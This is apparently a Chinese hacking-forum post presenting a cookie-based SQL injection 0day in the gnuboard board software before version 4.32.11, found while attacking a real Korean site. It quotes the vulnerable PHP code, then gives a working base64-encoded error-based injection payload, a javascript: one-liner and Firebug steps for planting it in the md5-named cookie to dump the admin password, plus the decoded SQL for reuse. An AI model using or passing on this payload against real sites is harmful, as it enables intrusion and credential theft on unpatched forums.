韩国gnuboard 4.32.11 之前版本注入0day
韩国的一款流行的论坛程序gnuboard,以前有研究过,不过未搞出什么洞出来,前两天帮朋友搞看韩国站的时候目标站下面就用了 gnuboard 版本是4.31.07的。版本比较低,记得以前国内貌似有公布过这个程序的注入,但当时搞的时候没有找到相关文献,于是对应目标版本去 官网下了源码自己研究了两天,终于搞了个cookie注入出来,而且不受GPC的影响。
不过这个漏洞利用范围 不大,只针对4.32.11之前的版本,而且利用起来还有一定的局限,虽然不受GPC影响,但是注入要依赖mysql报错信息,韩国大部分的mysql版 本都比较低。这就使得我在测试的时候本地正常爆出字段内容,应用到实战的时候相同的语句就会提示语法错误。当时郁闷老半天,最后才想到是mysql版本问 题。另外一个就是后来验证漏洞影响范围的时候看到官网在发布这个漏洞修补版本的时候还特别加了星号(这也是官网唯一一个加星的补丁版本)。造成很多网站虽 然在影响版本范围内,但实际漏洞是补上了的。
其他的不多说,还是从代码一步一步分析漏洞原理。在粗略看了代码后,我打算在他用户机制上下点儿功夫。原本是想通过他用户机制下手直接获得管理权限的,不过仔细分析代码后发现没法利用,正是仔细分析的时候发现了这个注入。
网站用户登陆认证方式采用session,但是有个保存登陆信息,这一功能和国内程序都一样,但保存登陆信息是采用cookie。代码在common.php 296行开始:
if ($_SESSION['ss_mb_id']) //如果有session信息表示用户已登陆 接取得用户的信息
{
$member = get_member($_SESSION['ss_mb_id']);
// 坷疵 贸澜 肺弊牢 捞扼搁
if (substr($member['mb_today_login'], 0, 10) != $g4['time_ymd'])
{
// 霉 肺弊牢 器牢飘 瘤鞭
insert_point($member['mb_id'], $config['cf_login_point'], "{$g4['time_ymd']} 霉肺弊牢", $member['mb_id'], $g4['time_ymd']);
// 坷疵狼 肺弊牢捞 瞪 荐档 乐栏哥 付瘤阜 肺弊牢老 荐档 乐澜
// 秦寸 雀盔狼 立辟老矫客 IP 甫 历厘
$sql = " update {$g4['member_table']} set mb_today_login = '{$g4['time_ymdhis']}', mb_login_ip = '{$_SERVER['REMOTE_ADDR']}' where mb_id = '{$member['mb_id']}' ";
sql_query($sql);
}
}
else //没有session信息后程序跳到此处
{
// 磊悼肺弊牢 ---------------------------------------
// 雀盔酒捞叼啊 捻虐俊 历厘登绢 乐促搁 (3.27)
if ($tmp_mb_id = get_cookie("ck_mb_id")) //从cookie中获取用户名 并赋值给$tmp_mb_id变量
{
// 弥绊包府磊绰 磊悼肺弊牢 陛瘤
if ($tmp_mb_id != $config['cf_admin']) //只要从cookie中湖区的用户名不是管理员的用户名执行sql查询
{
$sql = " select mb_password, mb_intercept_date, mb_leave_date, mb_email_certify
from {$g4['member_table']} where mb_id = '$tmp_mb_id' ";
$row = sql_fetch($sql); //执行sql
$key = md5($_SERVER['SERVER_ADDR'] . $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $row['mb_password']);
// 捻虐俊 历厘等 虐客 鞍促搁
$tmp_key = get_cookie("ck_auto");
if ($tmp_key == $key && $tmp_key)
{
// 瞒窜, 呕硼啊 酒聪绊 皋老牢刘捞 荤侩捞搁辑 牢刘阑 罐疽促搁
if ($row['mb_intercept_date'] == "" &&
$row['mb_leave_date'] == "" &&
(!$config['cf_use_email_certify'] || preg_match('/[1-9]/', $row['mb_email_certify'])) )
{
// 技记俊 雀盔酒捞叼甫 历厘窍咯 肺弊牢栏肺 埃林
set_session("ss_mb_id", $tmp_mb_id);
// 其捞瘤甫 犁角青
echo "<script language='javascript'> window.location.reload(); </script>";
exit;
}
}
// $row 硅凯函荐 秦力
unset($row);
}
}
// 磊悼肺弊牢 end ---------------------------------------
}
接着跟进get_cookie函数(在libs/common.lib.php):
function get_cookie($cookie_name)
{
return base64_decode($_COOKIE[md5($cookie_name)]);
}
可 以看到在调用get_cookie该函数的时候讲ck_mb_id值进行md5加密后作为cookie的名称,然后取得其值再进行base64解 密,ck_mb_id经过md5加密后为:6e1280981e1dfd9169c5dea9c28ff2e3。既是取得名称为 6e1280981e1dfd9169c5dea9c28ff2e3的cookie值在进行base64解密!通过以上我们可以看到get_cookie 函数返回值是直接赋值给$tmp_mb_id变量了的,随后进入到了sql语句。
我们再看 看$row = sql_fetch($sql); 这里的sql_fetch函数再调用sql_query函数,实际上sql_fetch函数和 sql_query函数有两个参数,第二个参数是控制是否显示sql错误信息的,而这里在调用sql_fetch函数的时候并没有给出第二个参数。而在 sql_fetch函数中默认情况下$error为TRUE的。在sql_query函数中如果$error为TRUE就显示sql错误信息。 sql_fetch函数和sql_query(在lib/common.lib.php)函数如下:
function sql_fetch($sql, $error=TRUE)
{
$result = sql_query($sql, $error);
//$row = @sql_fetch_array($result) or die("<p>$sql<p>" . mysql_errno() . " : " . mysql_error() . "<p>error file : $_SERVER[PHP_SELF]");
$row = sql_fetch_array($result);
return $row;
}
function sql_query($sql, $error=TRUE)
{
if ($error)
$result = @mysql_query($sql) or die("<p>$sql<p>" . mysql_errno() . " : " . mysql_error() . "<p>error file : $_SERVER[PHP_SELF]");
else
$result = @mysql_query($sql);
return $result;
}
由于我们最终是sql语句的查询结果在页面中没有任何信息输出,这就造成了注入困难,但正好有可以报错,所以利用报错方式爆出账号密码。利用代码如下:
javascript:alert(document.cookie="6e1280981e1dfd9169c5dea9c28ff2e3="+escape("MTMnIGFuZChzZWxlY3QgMSBmcm9tKHNlbGVjdCBjb3VudCgqKSxjb25jYXQoKHNlbGVjdCAoc2VsZWN0IChzZWxlY3QgY29uY2F0KDB4NUIsZzRfbWVtYmVyLm1iX3Bhc3N3b3JkLDB4NUQpIGZyb20gZzRfbWVtYmVyIA0NCndoZXJlIG1iX2lkPSdhZG1pbicgbGltaXQgMCwxKSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGxpbWl0IDAsMSksZmxvb3IocmFuZCgwKSoyKSl4IGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyANDQpncm91cCBieSB4KWEpIGFuZCAnMSc9JzE="));
打 开目标网站后在IE地址栏输入一样代码回车,然后刷新即可爆出admin的密码,由于代码是出在common.php文件,网站所以的页面都有包含此页 面,所以在那个页面都一样,同样也可以使用火狐浏览器,安装个firebug插件,打开目标网站 启动firebug 新建名为 6e1280981e1dfd9169c5dea9c28ff2e3的cookie,然后内容填入 MTMnIGFuZChzZWxlY3QgMSBmcm9tKHNlbGVjdCBjb3VudCgqKSxjb25jYXQoKHNlbGVjdCAoc2VsZWN0IChzZWxlY3QgY29uY2F0KDB4NUIsZzRfbWVtYmVyLm1iX3Bhc3N3b3JkLDB4NUQpIGZyb20gZzRfbWVtYmVyIA0NCndoZXJlIG1iX2lkPSdhZG1pbicgbGltaXQgMCwxKSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGxpbWl0IDAsMSksZmxvb3IocmFuZCgwKSoyKSl4IGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyANDQpncm91cCBieSB4KWEpIGFuZCAnMSc9JzE= 然 后刷新即可。
以上base64密文解密后代码是sql语句:
13' and(select 1 from(select count(*),concat((select (select (select concat(0x5B,g4_member.mb_password,0x5D) from g4_member
where mb_id='admin' limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and '1'='1 可自行修改然后加密后提交!
不知道这个漏洞是不是以前国内公布的那个,如果一样,纯属巧合,另外有朋友要是知道mysql低版如何通过报错模式爆数据的话不妨指教下!!韩国好多现在还在用4.0的版本!